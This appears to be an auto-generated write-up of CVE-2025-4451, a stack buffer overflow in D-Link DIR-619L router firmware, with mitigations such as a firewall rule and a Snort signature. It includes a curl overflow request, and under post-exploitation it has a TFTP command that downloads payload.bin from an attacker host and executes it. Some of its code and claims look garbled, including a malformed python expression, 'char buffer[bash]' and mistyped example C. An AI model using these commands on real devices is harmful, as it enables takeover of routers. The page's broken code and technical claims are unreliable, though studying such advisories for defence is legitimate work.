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How CVE-2025-4451 Works
The vulnerability exists in the `formSetWAN_Wizard52` function of D-Link DIR-619L firmware v2.04B04. When processing the `curTime` parameter, improper bounds checking allows attackers to trigger a buffer overflow via crafted HTTP requests. The unsanitized input overflows the fixed-size stack buffer, enabling remote code execution with root privileges. As the device lacks stack protection mechanisms (like ASLR or NX), exploitation is reliable. The vulnerability is network-reachable without authentication, making it critical for unpatched devices.
DailyCVE Form:
Platform: D-Link DIR-619L
Version: 2.04B04
Vulnerability: Buffer Overflow
Severity: Critical
Date: 05/13/2025
What Undercode Say:
Exploitation:
curl -X POST "http://<TARGET>/formSetWAN_Wizard52" -d "curTime=$(python -c 'print("A"1024)')"
Crash Analysis:
(gdb) x/i $eip 0x41414141: Cannot access memory at 0x41414141
Protection (Mitigation):
1. Network Controls:
iptables -A INPUT -p tcp --dport 80 -j DROP
2. Firmware Patch Check:
strings /bin/httpd | grep "formSetWAN_Wizard52"
3. Exploit Detection (Snort Rule):
alert tcp any any -> $HOME_NET 80 (msg:"CVE-2025-4451 Exploit Attempt"; content:"formSetWAN_Wizard52"; content:"curTime="; distance:0;)
Vulnerable Code Pattern:
void formSetWAN_Wizard52(char curTime) {
char buffer[bash];
strcpy(buffer, curTime); // No bounds check
}
Post-Exploitation:
Payload delivery via TFTP tftp -g -r payload.bin <ATTACKER_IP> chmod +x payload.bin ./payload.bin
Forensics:
Check HTTP logs for exploitation attempts grep "formSetWAN_Wizard52" /var/log/httpd.log
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
